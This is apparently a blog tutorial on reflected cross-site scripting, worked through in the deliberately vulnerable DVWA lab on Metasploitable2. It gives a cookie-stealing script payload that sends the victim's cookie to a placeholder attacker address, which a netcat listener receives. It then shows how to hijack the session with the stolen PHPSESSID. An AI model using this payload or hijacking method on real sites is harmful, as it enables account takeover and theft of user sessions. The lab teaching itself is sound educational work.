#phpsessionid

Reflected Cross Site Scripting attacks, also known as non-persistent attacks, leverage malicious script off of a web application; the attacker makes an http request that includes malaicious data, and then sends the infected url to it’s target.

Burpsuite is a great tool to identify XSS vulnerabilities for web applications. Attackers might very well use the Burp Repeater to test various payloads that issue a request and review the responses in comparison with the initial site response. This allows attackers to gain a better context of where the “reflection” or random value occurs -- which can be within HTML tags, a javascript string, etc. -- and to test for different input validations.

A common defense against non-persistent atttacks is by filtering user inputs and blacklisting or sanitizing specific strings from working. Other defenses include encoding the data output or by placing a Content Security Policy (CSP).

For this demonstration, however, we will use metasploitable2/dvwa, a purposefully vulnerable website application, and will not need Burpsuite to test for reflections and input validations nor have to worry about santized inputs. 

We’ll start off with a simple one!

First launch metasploitable2 vm.  Open a browser and search for your metasploitable ip address; head to the /dvwa/ directory and sign into the login page with the default credentials

Once signed in, head to the “XSS reflected” tab. **Don’t forget to change the DVWA Secruity to “low” if you haven’t already

The site on the XSS Reflected tab gives us a page where we can input text. Let’s test it out. 

Notice how the “pillothecat” request by the client has the response “Hello pillothecat” from the server. This sort of user interaction potentially allows for the XSS vulnerability to be present. This is because a potential attacker might send in a malicious script or script that they shouldn’t be authorized to send.

Hmm. I wonder if we could do something like that for this website?

Let’s test the “ALERT” script -- an alert that generates a pop-up. (Not the most devious I know, but popus can certainly be annoying!)

input: <script>alert(”aaHH”)</script>

** even if you don’t understand scripting language, that’s okay! There are plenty of open source scripts that you can find, but do try to understand the context of each variable. We can clearly see that the boundaries of the script (<script>,</script>), the command alert, followed by the string_of_text we want to popup.

Go ahead and enter the script and notice that annoying popup.

Now look over to your url. Do you see that same script as you inputted in the url query parameter?

Maybe it looks a little different, and that’s okay because the script is now in url encoding. But either way, this url can now be sent to a target so that they see the same annoying pop up that we’ve scripted.

Now imagine a more nefarious script that we can inject into a url request.

Let’s say, for example, stealing our target’s cookies.

Much like the alert popup, we will need to inject a code that the user will then interact with. Ideally this script might be hidden away so that the user won’t suspect anything. For example, a script might be within the code of an image of a popular cat meme; when the catchy meme is shared among friends, unbeknowst to the user(s) the forwarded image also runs a script to request for the their cookie information to be sent to the hacker.

Pretty terrifying!! But don’t worry, today we’ll skip over hiding our script and instead simply inject it into the same input box we did earlier.

Here’s the script to acquire the cookie information: *** don’t forget to replace the “IP_ADDRESS” with where you want the information to be sent.

<SCRIPT> var i = new Image(); i.src="http://IP_ADDRESS/" + document.cookie.split('; ')[1];</SCRIPT>

Now before you hit the submit, lets open our terminal and listen in on the request through netcat.

Now hit submit and let’s see what we pick up from our terminal.

Let’s take a close look at the PHPSESSID row. In PHP applications, the user’s session IDs and its cookies are stored in the PHPSESSID. Cookies are saved characters for a user’s web app request -- they store user information like passwords, search preferences, etc. Now that we have our target’s cookie, we can use the cookie as a means of accessing a site with the target’s credential.

Let’s test it out!

In a new browser, go to the /dvwa/ home page.

http://”METASPLOITABLE2_IP_ADDRESS”/dvwa/index.php

Notice how the site redirects you to the /login.php; this is because we don’t have the proper credentials yet to access the home page.

In order to change this, we can head to “Web Developer” --> “Storage Inspector”, from our browser setting.

Under “Cookies”, change the “PHPSESSID” Value with the value we intercepted from our target.

Now try refreshing the page with the correct home page site (/dvwa/index.php), if you are still on the login page.

ANNNNND we have succesfully logged in with our target’s cookie!!!

nice~~

..

.

WELL, not really nice... obviously, this can be extremely dangerous!!!

If there’s one important takeaway from all this, it is that you should ALWAYS check the links that you click.